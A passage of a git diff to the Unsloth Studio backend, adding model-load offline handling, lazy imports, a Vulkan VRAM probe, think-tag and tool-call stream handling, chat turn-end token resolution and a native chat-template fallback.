try: backend = ExportBackend() - _handle_load(backend, config, resp_queue) + # Offline window covers the load preflights (malware/consent scans hit the Hub) + # before load_checkpoint runs its own probe; restored after so later loads re-decide. + with _offline_window_if_unreachable(): + _handle_load(backend, config, resp_queue) except Exception as exc: _send_response( @@ -564,7 +630,9 @@ def run_export_process(*, cmd_queue: Any, resp_queue: Any, config: dict) -> None if cmd_type == "load": # Load a new checkpoint, reusing this subprocess. backend.cleanup_memory() - _handle_load(backend, cmd, resp_queue) + # Offline window also covers this load's Hub preflights (re-probed per load). + with _offline_window_if_unreachable(): + _handle_load(backend, cmd, resp_queue) elif cmd_type == "export": _handle_export(backend, cmd, resp_queue) diff --git a/studio/backend/core/import_guards.py b/studio/backend/core/import_guards.py new file mode 100644 index 0000000000..5b85a96cd2 --- /dev/null +++ b/studio/backend/core/import_guards.py @@ -0,0 +1,53 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Recover `unsloth`/`unsloth_zoo` from a namespace-package shadow. Stdlib-only.""" + +from __future__ import annotations + +import os +import sys + + +def ensure_real_packages(*names: str) -> None: + """Drop sys.path entries where a bare `/` dir (no __init__.py) shadows + the installed package as a namespace, import the real packages, restore + sys.path. No-op without a shadow. Pass dependency-first (e.g. "unsloth_zoo", + "unsloth"); imports run dependency-last.""" + import importlib + import importlib.util + + bad: set = set() + shadowed: list = [] + for name in names: + try: + spec = importlib.util.find_spec(name) + except (ImportError, ValueError, AttributeError): + spec = None + # real package -> spec.origin is its __init__; namespace shadow -> None/"namespace" + if spec is None or spec.origin not in (None, "namespace"): + continue + dirs = {os.path.realpath(d) for d in (spec.submodule_search_locations or [])} + if not dirs: + continue + shadowed.append(name) + for entry in sys.path: + pkg = os.path.join(entry or os.getcwd(), name) + if os.path.realpath(pkg) in dirs and not os.path.isfile( + os.path.join(pkg, "__init__.py") + ): + bad.add(entry) + if not bad: + return + saved = list(sys.path) + sys.path[:] = [e for e in sys.path if e not in bad] + for name in shadowed: + for cached in [m for m in list(sys.modules) if m == name or m.startswith(name + ".")]: + del sys.modules[cached] + try: + importlib.invalidate_caches() + # import unsloth before unsloth_zoo: unsloth.__init__ runs GPU/bnb fixes zoo relies on + for name in reversed(names): + importlib.import_module(name) + finally: + sys.path[:] = saved diff --git a/studio/backend/core/inference/__init__.py b/studio/backend/core/inference/__init__.py index 2faf70bb79..ad78157418 100644 --- a/studio/backend/core/inference/__init__.py +++ b/studio/backend/core/inference/__init__.py @@ -7,13 +7,16 @@ Inference submodule - backend for model loading and generation. The default get_inference_backend() returns an InferenceOrchestrator that delegates to a subprocess. The original InferenceBackend runs inside the subprocess and can be imported directly from .inference when needed. + +Public names are resolved lazily (PEP 562): importing this package -- or a +dependency-light leaf like ``core.inference.chat_eos`` -- must NOT eagerly pull +the orchestrator / llama_cpp import chain (httpx, subprocess plumbing, the ML +backend and its Studio dependencies). Those load only when a public name is +actually accessed, so standalone helpers stay unit-testable without the full +inference stack. """ -from .orchestrator import InferenceOrchestrator, get_inference_backend -from .llama_cpp import LlamaCppBackend - -# Expose InferenceOrchestrator as InferenceBackend for backward compat. -InferenceBackend = InferenceOrchestrator +from typing import TYPE_CHECKING __all__ = [ "InferenceBackend", @@ -21,3 +24,33 @@ __all__ = [ "get_inference_backend", "LlamaCppBackend", ] + +# name -> (submodule, attribute); InferenceBackend aliases InferenceOrchestrator. +_LAZY_ATTRS = { + "InferenceOrchestrator": ("orchestrator", "InferenceOrchestrator"), + "InferenceBackend": ("orchestrator", "InferenceOrchestrator"), + "get_inference_backend": ("orchestrator", "get_inference_backend"), + "LlamaCppBackend": ("llama_cpp", "LlamaCppBackend"), +} + + +def __getattr__(name): + try: + submodule, attr = _LAZY_ATTRS[name] + except KeyError: + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") from None + from importlib import import_module + + value = getattr(import_module(f"{__name__}.{submodule}"), attr) + globals()[name] = value # cache so later access skips __getattr__ + return value + + +def __dir__(): + return sorted(set(globals()) | set(__all__)) + + +if TYPE_CHECKING: # keep static analysers / IDEs aware of the lazy names + from .llama_cpp import LlamaCppBackend + from .orchestrator import InferenceOrchestrator, get_inference_backend + InferenceBackend = InferenceOrchestrator diff --git a/studio/backend/core/inference/_vulkan_probe.py b/studio/backend/core/inference/_vulkan_probe.py new file mode 100644 index 0000000000..706346daad --- /dev/null +++ b/studio/backend/core/inference/_vulkan_probe.py @@ -0,0 +1,110 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Standalone free-VRAM probe for the bundled ggml Vulkan backend. + +Run in a short-lived subprocess (``python _vulkan_probe.py ``) so the +Vulkan instance never lives in the long-running backend process. Loads the +bundled ggml Vulkan backend from ```` and prints one +``\\t\\t\\t`` line per device to stdout. +Indices are ggml's own Vulkan device ordinals, which need not match nvidia-smi +order. ``is_igpu`` (from ggml's device type) is ``1`` for an integrated GPU +sharing system RAM. ``total_bytes`` is the device-local heap; the reader uses +it to reserve absolute headroom on a discrete card (parity with the CUDA/ROCm +fit) and ignores it for an iGPU, whose "VRAM" is shared system RAM. + +Uses only the standard library so it stays runnable as a bare script. +""" + +import ctypes +import os +import sys + +# ggml_backend_dev_type enum (ggml-backend.h): CPU=0, GPU=1, IGPU=2, ... +_GGML_BACKEND_DEVICE_TYPE_IGPU = 2 + + +def _igpu_flags(base, lib, count: int) -> list[bool]: + """Per-device integrated-GPU flags via ggml's backend registry. + + The Vulkan reg enumerates devices in the same order as + ``ggml_backend_vk_get_device_memory`` (each context uses ``ctx->device = + i``), so reg index == device ordinal. Returns all-False on any failure so + the reader never over-caps a discrete card. + """ + flags = [False] * count + try: + lib.ggml_backend_vk_reg.restype = ctypes.c_void_p + lib.ggml_backend_vk_reg.argtypes = [] + base.ggml_backend_reg_dev_count.restype = ctypes.c_size_t + base.ggml_backend_reg_dev_count.argtypes = [ctypes.c_void_p] + base.ggml_backend_reg_dev_get.restype = ctypes.c_void_p + base.ggml_backend_reg_dev_get.argtypes = [ctypes.c_void_p, ctypes.c_size_t] + base.ggml_backend_dev_type.restype = ctypes.c_int + base.ggml_backend_dev_type.argtypes = [ctypes.c_void_p] + + reg = lib.ggml_backend_vk_reg() + if not reg: + return flags + dev_count = base.ggml_backend_reg_dev_count(reg) + for i in range(min(count, dev_count)): + dev = base.ggml_backend_reg_dev_get(reg, i) + if dev: + flags[i] = base.ggml_backend_dev_type(dev) == _GGML_BACKEND_DEVICE_TYPE_IGPU + except Exception: + # Best-effort: any failure degrades to "discrete" so the memory + # readings still get through instead of crashing the probe. + pass + return flags + + +def main() -> int: + if len(sys.argv) < 2: + return 0 + bindir = sys.argv[1] + + # Hold add_dll_directory's handle for the rest of main() (the documented + # idiom) so bindir stays on the search path while the sibling ggml DLLs + # resolve below. + _dll_dir = None + if sys.platform == "win32": + base_name, vk_name = "ggml-base.dll", "ggml-vulkan.dll" + try: + _dll_dir = os.add_dll_directory(bindir) + except Exception: + pass + else: + base_name, vk_name = "libggml-base.so", "libggml-vulkan.so" + + # RTLD_GLOBAL exposes ggml-base's symbols to ggml-vulkan on POSIX. getattr + # falls back to 0 where the flag doesn't exist (Windows CDLL ignores mode). + _rtld_global = getattr(ctypes, "RTLD_GLOBAL", 0) + try: + base = ctypes.CDLL(os.path.join(bindir, base_name), mode = _rtld_global) + lib = ctypes.CDLL(os.path.join(bindir, vk_name), mode = _rtld_global) + except OSError as e: + print(f"ggml-vulkan load failed: {e}", file = sys.stderr) + return 1 + + lib.ggml_backend_vk_get_device_count.restype = ctypes.c_int + lib.ggml_backend_vk_get_device_count.argtypes = [] + lib.ggml_backend_vk_get_device_memory.restype = None + lib.ggml_backend_vk_get_device_memory.argtypes = [ + ctypes.c_int, + ctypes.POINTER(ctypes.c_size_t), + ctypes.POINTER(ctypes.c_size_t), + ] + + count = lib.ggml_backend_vk_get_device_count() + igpu = _igpu_flags(base, lib, count) + rows = [] + for i in range(count): + free, total = ctypes.c_size_t(0), ctypes.c_size_t(0) + lib.ggml_backend_vk_get_device_memory(i, ctypes.byref(free), ctypes.byref(total)) + rows.append("%d\t%d\t%d\t%d" % (i, free.value, int(igpu[i]), total.value)) + sys.stdout.write("\n".join(rows)) + return 0 + + +if __name__ == "__main__": + raise SystemExit(main()) diff --git a/studio/backend/core/inference/anthropic_compat.py b/studio/backend/core/inference/anthropic_compat.py index 0307336dde..3c7a4cb182 100644 --- a/studio/backend/core/inference/anthropic_compat.py +++ b/studio/backend/core/inference/anthropic_compat.py @@ -258,6 +258,10 @@ class AnthropicStreamEmitter: self._open_tool_use_id: Optional[str] = None self._open_tool_args_sent: bool = False self._prev_text: str = "" + # Net minus in the text emitted to the client. Tracked + # from emitted deltas (not _prev_text, which a final bare shrink clobbers) + # so an unclosed reasoning-only block can be balanced before close. + self._open_think_tags: int = 0 self._usage: dict = {} def start( @@ -317,6 +321,7 @@ class AnthropicStreamEmitter: """Close any open block and emit message_delta + message_stop.""" events = [] if self._text_block_open or self._open_tool_call_id is not None: + events.extend(self._close_open_think()) events.append(self._close_block()) self._open_tool_call_id = None self._open_tool_use_id = None @@ -344,12 +349,33 @@ class AnthropicStreamEmitter: ) return events + def _close_open_think(self) -> list[str]: + """Emit a ```` delta when the streamed text left a ```` + open. This emitter diffs cumulative snapshots and drops the generator's + final bare shrink, so a reasoning-only reply would otherwise end on an + unclosed tag. Mirrors the chat route's reasoning extractor, which closes + the block on finish; balances the block before it is closed.""" + if not self._text_block_open or self._open_think_tags <= 0: + return [] + self._open_think_tags = 0 + return [ + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": {"type": "text_delta", "text": ""}, + }, + ) + ] + def _handle_content(self, event: dict) -> list[str]: cumulative = event.get("text", "") new_text = cumulative[len(self._prev_text) :] self._prev_text = cumulative if not new_text: return [] + self._open_think_tags += new_text.count("") - new_text.count("") if not self._text_block_open: events = self._open_text_block() else: @@ -374,6 +400,7 @@ class AnthropicStreamEmitter: events = [] if self._text_block_open: + events.extend(self._close_open_think()) events.append(self._close_block()) # Defensive: close a stale open tool_use block before starting another. elif self._open_tool_call_id is not None: @@ -452,6 +479,7 @@ class AnthropicStreamEmitter: events.extend(self._open_text_block()) # Reset text tracking for the next synthesis turn self._prev_text = "" + self._open_think_tags = 0 return events def _open_text_block(self) -> list[str]: @@ -494,6 +522,29 @@ class AnthropicPassthroughEmitter: self._usage: dict = {} self._stop_reason: str = "end_turn" self._stop_sequence: Optional[str] = None + # Optional text-form tool-call healing (client-tool passthrough only). + self._healer = None + self._healed_tool_use = False + self._healed_call_count = 0 + self._heal_disable_parallel = False + + def enable_healing( + self, + allowed_tools: set, + tools: Optional[list] = None, + *, + disable_parallel_tool_use: bool = False, + ) -> None: + """Promote text-form tool calls in streamed content to tool_use blocks. + + Only calls naming a tool in ``allowed_tools`` (the client's declared + tools) are promoted; everything else streams as text exactly as before. + Never enabled for Studio's own tool loop. + """ + from core.inference.passthrough_healing import StreamToolCallHealer + + self._healer = StreamToolCallHealer(allowed_tools, tools) + self._heal_disable_parallel = disable_parallel_tool_use def start( self, @@ -542,29 +593,42 @@ class AnthropicPassthroughEmitter: delta = choice.get("delta") or {} finish_reason = choice.get("finish_reason") + # ── Structured tool calls take precedence over healing ── + # Grammar mode worked: flush anything the healer held (it preceded the + # call in the model's output) and relay verbatim from here on. + if delta.get("tool_calls") and self._healer is not None and not self._healer.dormant: + for kind, value in self._healer.structured_tool_call_seen(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + # ── Text content ── content = delta.get("content") - if content: - if self._current_block_type != "text": - if self._current_block_type is not None: - events.append(self._close_current_block()) - events.extend(self._open_text_block()) - events.append( - build_anthropic_sse_event( - "content_block_delta", - { - "type": "content_block_delta", - "index": self.block_index, - "delta": {"type": "text_delta", "text": content}, - }, - ) - ) + if content and self._healer is not None and not self._healer.dormant: + # Route text through the healer: held/promoted portions become + # synthetic tool_use blocks, the rest streams as text unchanged. + for kind, value in self._healer.feed(content): + if kind == "text": + events.extend(self._emit_text_delta(value)) + else: + events.extend(self._emit_healed_tool_use(value)) + elif content: + events.extend(self._emit_text_delta(content)) # ── Tool calls (streaming deltas) ── tool_calls = delta.get("tool_calls") or [] for tc in tool_calls: tc_idx = tc.get("index", 0) fn = tc.get("function") or {} + if ( + self._heal_disable_parallel + and tc_idx not in self._tool_call_states + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # disable_parallel_tool_use: a healed call already consumed the + # single allowed slot. The caller's chunk-level cap only sees + # native indexes, so drop this native call (and its later + # argument deltas, which never allocate a state either). + continue if tc_idx not in self._tool_call_states: # New tool call — close prior block, open tool_use block if self._current_block_type is not None: @@ -618,6 +682,17 @@ class AnthropicPassthroughEmitter: def finish(self) -> list[str]: events: list[str] = [] + if self._healer is not None: + # Last-chance heal of any held residue (e.g. an unclosed tool block). + for kind, value in self._healer.finalize(): + if kind == "text" and value: + events.extend(self._emit_text_delta(value)) + elif kind == "tool_call": + events.extend(self._emit_healed_tool_use(value)) + if self._healed_tool_use and self._stop_reason != "max_tokens": + # A promoted call must stop for tool use; a truncation still wins + # (its arguments may be incomplete). + self._stop_reason = "tool_use" if self._current_block_type is not None: events.append(self._close_current_block()) events.append( @@ -641,6 +716,76 @@ class AnthropicPassthroughEmitter: ) return events + def _emit_text_delta(self, content: str) -> list[str]: + events: list[str] = [] + if self._current_block_type != "text": + if self._current_block_type is not None: + events.append(self._close_current_block()) + events.extend(self._open_text_block()) + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": {"type": "text_delta", "text": content}, + }, + ) + ) + return events + + def _emit_healed_tool_use(self, call: dict) -> list[str]: + # A healed call arrives complete, so its tool_use block opens, carries + # one input_json_delta, and closes immediately; an open text block is + # closed first (only the safe prefix ever streamed into it). + if ( + self._heal_disable_parallel + and (self._healed_call_count + len(self._tool_call_states)) >= 1 + ): + # Healed and native calls share the single allowed slot. + return [] + events: list[str] = [] + if self._current_block_type is not None: + events.append(self._close_current_block()) + function = call.get("function") or {} + tool_id = anthropic_tool_use_id("") + self.block_index += 1 + self._current_block_type = "tool_use" + events.append( + build_anthropic_sse_event( + "content_block_start", + { + "type": "content_block_start", + "index": self.block_index, + "content_block": { + "type": "tool_use", + "id": tool_id, + "name": function.get("name", ""), + "input": {}, + }, + }, + ) + ) + arguments = function.get("arguments") or "" + if arguments: + events.append( + build_anthropic_sse_event( + "content_block_delta", + { + "type": "content_block_delta", + "index": self.block_index, + "delta": { + "type": "input_json_delta", + "partial_json": arguments, + }, + }, + ) + ) + events.append(self._close_current_block()) + self._healed_tool_use = True + self._healed_call_count += 1 + return events + def _open_text_block(self) -> list[str]: self.block_index += 1 self._current_block_type = "text" diff --git a/studio/backend/core/inference/chat_eos.py b/studio/backend/core/inference/chat_eos.py new file mode 100644 index 0000000000..2a5d0db228 --- /dev/null +++ b/studio/backend/core/inference/chat_eos.py @@ -0,0 +1,109 @@ +# SPDX-License-Identifier: AGPL-3.0-only +# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +"""Resolve a chat model's assistant-turn-end stop tokens. + +Some checkpoints set eos_token_id to a bare document terminator (Qwen3.5 ships +config eos ``<|endoftext|>`` though chat turns end with ``<|im_end|>``, and its +small chat variants ship no generation_config), so generation runs past the turn +and loops -- re-emitting tool calls or hallucinating ``<|im_start|>`` turns. + +Turn-end markers are derived from the tokenizer's ``chat_template`` (the tokens it +actually uses to end a turn), not raw vocab membership: a base/coder model can +carry ChatML control tokens in a shared vocab without using them, and a loader +may have synced ``eos_token`` to the document terminator. Dependency-light (no +torch / unsloth) so it is unit-testable without the full inference stack. +""" + +from typing import Optional + +# Canonical assistant-turn-end markers per chat family. +_CHAT_TURN_END_TOKENS = ( + "<|im_end|>", # ChatML: Qwen, Yi + "<|eot_id|>", # Llama 3.x + "<|eom_id|>", # Llama 3.x tool turns + "", # Gemma + "", # Gemma-4 + "<|end|>", # Phi + "<|end_of_turn|>", # OpenChat / Starling (barred, distinct from Gemma's) +) +# harmony/gpt-oss uses <|end|> as a channel delimiter, not the turn end, and has +# its own streamer, so its eos is left untouched. +_HARMONY_MARKERS = ("<|channel|>", "<|constrain|>") + + +def _eos_id_set(eos_token_id) -> set: + if isinstance(eos_token_id, (list, tuple)): + return {int(t) for t in eos_token_id if t is not None} + if eos_token_id is not None: + return {int(eos_token_id)} + return set() + + +def _collect_template_text(chat_template) -> str: + """Flatten a tokenizer ``chat_template`` into one scannable string. + + Usually the template is a single jinja string, but multi-variant models + (e.g. Hermes-3: a ``default`` plus a ``tool_use`` template) expose it as a + ``{name: template}`` dict -- or, as stored in tokenizer_config.json, a list + of ``{"name": ..., "template": ...}`` dicts. Scanning only the ``str`` case + would skip turn-end detection for those valid models, so gather every string + leaf (variant names are harmless: they never contain the markers). + """ + if isinstance(chat_template, str): + return chat_template + if isinstance(chat_template, dict): + values = chat_template.values() + elif isinstance(chat_template, (list, tuple)): + values = chat_template + else: + return "" + parts = [_collect_template_text(v) for v in values] + return "\n".join(p for p in parts if p) + + +def resolve_chat_turn_end_eos_ids_using(template_tokenizer, id_tokenizer) -> list: + """eos of ``id_tokenizer`` plus any canonical turn-end marker the + ``template_tokenizer``'s chat_template uses, resolved to ids on ``id_tokenizer`` -- + the tokenizer generation actually uses. + + Pass the same tokenizer for both at load time. After a mapped ``get_chat_template`` + pass the MAPPED tokenizer as ``template_tokenizer`` (it carries the effective + template) and the ORIGINAL generation tokenizer as ``id_tokenizer``: a mapped + template registered ``map_eos_token=True`` can hand back a tokenizer whose vocab + folds the turn-end token onto the doc-eos id, and generate_stream re-reads the + original tokenizer, so resolving ids on the mapped tokenizer would store the wrong + (doc-eos) id and let generation run past the real turn marker.""" + ids = _eos_id_set(getattr(id_tokenizer, "eos_token_id", None)) + template = _collect_template_text(getattr(template_tokenizer, "chat_template", None)) + if not template or any(h in template for h in _HARMONY_MARKERS): + return sorted(ids) + unk = getattr(id_tokenizer, "unk_token_id", None) + for marker in _CHAT_TURN_END_TOKENS: + if marker in template: + try: + tid = id_tokenizer.convert_tokens_to_ids(marker) + except Exception: + tid = None + if tid is not None and tid != unk and int(tid) >= 0: + ids.add(int(tid)) + return sorted(ids) + + +def resolve_chat_turn_end_eos_ids(tokenizer) -> list: + """tokenizer.eos plus any canonical turn-end marker the model's chat_template + actually uses. Cheap (convert_tokens_to_ids per marker, no get_vocab); intended + to be resolved once at load. Returns eos unchanged for harmony templates.""" + return resolve_chat_turn_end_eos_ids_using(tokenizer, tokenizer) + + +def chat_eos_repair(current_eos, turn_end_ids) -> Optional[list]: + """Merged eos_token_id list, or None if ``current_eos`` already covers every + resolved turn-end id. Used to repair a model's generation_config at load so + every ``.generate()`` path (vision, tool loops) stops at the turn boundary.""" + if not turn_end_ids: + return None + current_set = _eos_id_set(current_eos) + if set(turn_end_ids) <= current_set: + return None + return sorted(current_set | set(turn_end_ids)) diff --git a/studio/backend/core/inference/chat_template_helpers.py b/studio/backend/core/inference/chat_template_helpers.py index b85e9c348a..897db8262d 100644 --- a/studio/backend/core/inference/chat_template_helpers.py +++ b/studio/backend/core/inference/chat_template_helpers.py @@ -3,11 +3,96 @@ """ Dependency-light wrapper around tokenizer.apply_chat_template with a kwarg -fallback for templates that reject reasoning/tools args. +fallback for templates that reject reasoning/tools args, plus the shared +native-chat-template fallback used by the transformers and MLX backends. """ +import copy +import json +import logging from typing import Optional +_THINK_OPEN = "" +_THINK_CLOSE = "" + + +def detect_think_prefill(prompt: Optional[str], special_tokens = None) -> str: + """Return the trailing open ```` prefill of a rendered prompt. + + Reasoning templates (Qwen3.6, DeepSeek-R1-style) end the generation + prompt with ``\\n`` so the model starts reasoning immediately. + Because that opening tag is part of the *prompt*, skip_prompt streaming + never emits it, and the frontend's ````/```` parser shows + the reasoning as plain text instead of a thinking block. (The GGUF path + is unaffected: llama-server's reasoning parser returns + ``reasoning_content``, which gets re-wrapped in think tags.) + + Returns the exact prompt tail to re-emit at the start of the generated + stream (e.g. ``"\\n"``), or ``""`` when the prompt does not end + with an open think block, including the ``enable_thinking=False`` case + where templates prefill an already-closed ``\\n\\n``. + + ``special_tokens`` is the tokenizer's special-token list. If ```` + is one, the streamer's skip_special_tokens strips the model's closing tag, + so re-emitting the open would leave an unclosed block that swallows the + answer. In that case return ``""`` and fall back to plain text. + """ + if not prompt: + return "" + open_idx = prompt.rfind(_THINK_OPEN) + if open_idx == -1: + return "" + tail = prompt[open_idx:] + if _THINK_CLOSE in tail or tail.strip() != _THINK_OPEN: + return "" + if special_tokens and _THINK_CLOSE in set(special_tokens): + return "" + return tail + + +logger = logging.getLogger(__name__) + + +def _normalize_tool_call_arguments(messages: list) -> list: + """Coerce each assistant ``tool_calls[].function.arguments`` from a JSON + string to a dict. + + The OpenAI wire format carries ``arguments`` as a JSON string, but some chat + templates (e.g. the stricter Qwen tool templates shipped with mlx-community + checkpoints) iterate ``arguments.items()`` and raise + ``TypeError: Can only get item pairs from a mapping.`` on the string form + when a prior tool call is re-rendered on the next turn. A dict works on both + strict and lenient templates, so parse the string; leave non-JSON or non-dict + values untouched. Returns the original list unchanged when nothing needed + coercing (no copy).""" + mutated = False + out: list = [] + for msg in messages: + tool_calls = msg.get("tool_calls") if isinstance(msg, dict) else None + if not tool_calls: + out.append(msg) + continue + new_calls = [] + msg_changed = False + for call in tool_calls: + fn = call.get("function") if isinstance(call, dict) else None + args = fn.get("arguments") if isinstance(fn, dict) else None + if isinstance(args, str): + try: + parsed = json.loads(args) + except (ValueError, TypeError): + parsed = None + if isinstance(parsed, dict): + call = {**call, "function": {**fn, "arguments": parsed}} + msg_changed = True + new_calls.append(call) + if msg_changed: + out.append({**msg, "tool_calls": new_calls}) + mutated = True + else: + out.append(msg) + return out if mutated else messages + def apply_chat_template_for_generation( tokenizer, @@ -38,21 +123,209 @@ def apply_chat_template_for_generation( attempts.append(dict(reasoning_kwargs)) attempts.append({}) - last_exc: Optional[Exception] = None - for kwargs in attempts: + def _render(msgs: list) -> str: + last_exc: Optional[Exception] = None + for kwargs in attempts: + try: + return tokenizer.apply_chat_template( + msgs, + tokenize = False, + add_generation_prompt = True, + **kwargs, + ) + except TypeError as e: + last_exc = e + continue + except Exception as e: + last_exc = e + break + if last_exc is not None: + raise last_exc + raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result") + + try: + return _render(messages) + except Exception: + # Strict tool templates reject the JSON-string ``arguments`` form via + # TypeError or a broad Jinja raise_exception, so retry with dicts coerced. + # Original messages render first, so working templates stay byte-identical. + normalized = _normalize_tool_call_arguments(messages) + if normalized is messages: + raise + return _render(normalized) + + +def render_native_template( + *, + model_info: dict, + active_model_name: Optional[str], + messages: list, + tools: list, + enable_thinking: Optional[bool] = None, + reasoning_effort: Optional[str] = None, + preserve_thinking: Optional[bool] = None, + apply_fn = None, + hf_token: Optional[str] = None, +) -> Optional[str]: + """Render ``messages`` + ``tools`` with the model's NATIVE chat template. + + Some Unsloth override templates (e.g. ``mistral``, ``gemma-4``) do not emit + the ``tools`` schema, so a tool-calling turn silently stops advertising tools. + The native template ships in the model repo and carries the family's + tool-calling syntax. It is loaded straight from the repo (bypassing any + override on the live tokenizer) and cached on ``model_info``. Returns the + rendered prompt only if the native template actually emits the tools (render + differs with vs without tools); otherwise ``None``. + + ``hf_token`` is the token the model was loaded with -- passed to the repo load + so a gated/private model's native template can still be fetched (otherwise the + fallback fails silently and keeps the override prompt that dropped tools). + + ``trust_remote_code`` is sourced from ``model_info`` (the value the model was + actually loaded with) rather than a call-site argument, so the native-template + reload uses exactly the consent already granted at load. A custom-code tokenizer + repo raises in ``AutoTokenizer.from_pretrained`` unless ``trust_remote_code`` is + passed, so without this the fallback fails silently and keeps the tool-dropping + prompt for a model the user already consented to run remote code for. For a LoRA + adapter the reload targets the base model, whose remote code was gated and loaded + under the same stored flag, so re-passing it executes no unconsented code. + """ + # ``apply_fn`` lets a backend inject its own render; defaults to the module helper. + if apply_fn is None: + apply_fn = apply_chat_template_for_generation + native_tpl = model_info.get("native_chat_template") + if native_tpl is None: + # A LoRA adapter's native template lives on the base model, not the adapter id. + template_source = model_info.get("base_model") or active_model_name + # Re-use the load-time trust_remote_code so a custom-code tokenizer repo can + # instantiate its class (the stored flag already covers template_source). + trust_remote_code = bool(model_info.get("trust_remote_code", False)) try: - return tokenizer.apply_chat_template( - messages, - tokenize = False, - add_generation_prompt = True, - **kwargs, + from transformers import AutoTokenizer + nt = AutoTokenizer.from_pretrained( + template_source, + token = hf_token if hf_token and hf_token.strip() else None, + trust_remote_code = trust_remote_code, ) - except TypeError as e: - last_exc = e - continue - except Exception as e: - last_exc = e - break - if last_exc is not None: - raise last_exc - raise RuntimeError("apply_chat_template_for_generation: no attempt produced a result") + native_tpl = nt.chat_template or False + except Exception as exc: + logger.warning( + "Could not load native chat template for '%s': %s", + template_source, + exc, + ) + # A failed fetch is not "no template": leave the sentinel unset so the next + # call retries (caching False would pin the tool-dropping override). + return None + model_info["native_chat_template"] = native_tpl + if not native_tpl: + return None + + tokenizer = model_info.get("tokenizer") or model_info.get("processor") + if tokenizer is None: + return None + tokenizer = getattr(tokenizer, "tokenizer", tokenizer) + # Render on a shallow copy: mutating the shared tokenizer.chat_template (outside the + # generation lock) races concurrent requests. + try: + render_tokenizer = copy.copy(tokenizer) + render_tokenizer.chat_template = native_tpl + except Exception as exc: + logger.warning( + "Could not clone tokenizer for native-template render of '%s': %s", + active_model_name, + exc, + ) + return None + try: + with_tools = apply_fn( + render_tokenizer, + messages, + tools = tools, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + ) + no_tools = apply_fn( + render_tokenizer, + messages, + tools = None, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + ) + except Exception as exc: + logger.warning( + "Native-template tool render failed for '%s': %s", + active_model_name, + exc, + ) + return None + return with_tools if with_tools != no_tools else None + + +def render_with_native_template_fallback( + *, + formatted_prompt: str, + tokenizer, + model_info: dict, + active_model_name: Optional[str], + messages: list, + tools: Optional[list], + enable_thinking: Optional[bool] = None, + reasoning_effort: Optional[str] = None, + preserve_thinking: Optional[bool] = None, + apply_fn = None, + hf_token: Optional[str] = None, +) -> str: + """Return ``formatted_prompt``, swapping in a native-template render when an + override template dropped the ``tools`` schema. + + If ``tools`` were requested but the live render is identical with and without + them (detected by comparison, robust against tool names in the system prompt), + re-render with the model's native template. Shared by the transformers and MLX + backends so both advertise tools consistently. ``hf_token`` is forwarded so a + gated/private model's native template can still be fetched.""" + if not tools: + return formatted_prompt + if apply_fn is None: + apply_fn = apply_chat_template_for_generation + # Probe whether the live template dropped the schema. A tools-requiring template + # can raise here; on any error keep the valid tools prompt rather than lose it. + try: + probe_no_tools = apply_fn( + tokenizer, + messages, + tools = None, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + ) + except Exception as exc: + logger.warning( + "No-tools probe failed for '%s'; keeping the existing tools prompt: %s", + active_model_name, + exc, + ) + return formatted_prompt + if formatted_prompt != probe_no_tools: + return formatted_prompt # template already emits the tools schema + native_prompt = render_native_template( + model_info = model_info, + active_model_name = active_model_name, + messages = messages, + tools = tools, + enable_thinking = enable_thinking, + reasoning_effort = reasoning_effort, + preserve_thinking = preserve_thinking, + apply_fn = apply_fn, + hf_token = hf_token, + ) + if native_prompt: + logger.info( + "Override template for '%s' dropped tool schemas; using the model's " + "native template for this tool-calling turn.", + active_model_name, + ) + return native_prompt + return formatted_prompt diff --git a/studio/backend/core/inference/defaults.py b/studio/backend/core/inference/defaults.py index b64605e16f..a1d03c03e0 100644 --- a/studio/backend/core/inference/defaults.py +++ b/studio/backend/core/inference/defaults.py @@ -8,6 +8,7 @@ import utils.hardware.hardware as hw DEFAULT_MODELS_GGUF = [ "unsloth/Qwen3.6-27B-MTP-GGUF", "unsloth/Qwen3.6-35B-A3B-MTP-GGUF", + "unsloth/DeepSeek-V4-Flash-GGUF", "unsloth/gemma-4-E2B-it-GGUF", "unsloth/gemma-4-E4B-it-GGUF", "unsloth/gemma-4-31B-it-GGUF", @@ -27,6 +28,7 @@ DEFAULT_MODELS_GGUF = [ DEFAULT_MODELS_STANDARD = [ "unsloth/Qwen3.6-27B-MTP-GGUF", "unsloth/Qwen3.6-35B-A3B-MTP-GGUF", + "unsloth/DeepSeek-V4-Flash-GGUF", "unsloth/gemma-4-E2B-it-GGUF", "unsloth/gemma-4-E4B-it-GGUF", "unsloth/gemma-4-31B-it-GGUF", diff --git a/studio/backend/core/inference/external_provider.py b/studio/backend/core/inference/external_provider.py index cae001c34d..20312e067c 100644 --- a/studio/backend/core/inference/external_provider.py +++ b/studio/backend/core/inference/external_provider.py @@ -771,11 +771,9 @@ class ExternalProviderClient: self.base_url = self.base_url[: -len("/openai")] self.api_key = api_key self._timeout = httpx.Timeout(timeout, connect = 10.0) - # Disable read timeout on SSE streams: reasoning-heavy models pause - # tens of seconds between bytes while thinking, and httpx's read - # timeout is the per-byte gap, not wall clock. connect/write bounds - # still surface real network failures. - self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = None) + # Generous per-byte read timeout: reasoning models pause tens of seconds + # between bytes, but a dead upstream must eventually error, not hang forever. + self._stream_timeout = httpx.Timeout(timeout, connect = 10.0, read = 300.0) def _auth_headers(self) -> dict[str, str]: """Build authentication headers using the provider's registry config.""" diff --git a/studio/backend/core/inference/inference.py 